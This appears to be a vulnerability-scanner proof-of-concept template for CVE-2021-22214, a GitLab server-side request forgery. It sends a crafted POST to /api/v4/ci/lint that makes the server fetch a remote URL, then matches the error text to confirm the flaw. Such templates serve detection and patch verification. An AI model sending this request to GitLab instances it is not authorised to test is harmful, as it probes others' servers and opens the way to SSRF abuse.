CVE-2021-22214.yml

name: poc-yaml-gitlab-ssrf-cve-2021-22214
manual: true
transport: http
rules:
    r0:
        request:
            cache: true
            method: POST
            path: /api/v4/ci/lint
            headers:
                Content-Type: application/json
            body: |
                {"include_merged_yaml": true, "content": "include:\n  remote: http://baidu.com/api/v1/targets/?test.yml"}
        expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"{\"status\":\"invalid\",\"errors\":") && (response.body.bcontains(b"does not have valid YAML syntax") || response.body.bcontains(b"could not be fetched"))
expression: r0()
detail:
    author: mumu0215(https://github.com/mumu0215)
    links:
        - https://mp.weixin.qq.com/s/HFug1khyfHmCujhc_Gm_yQ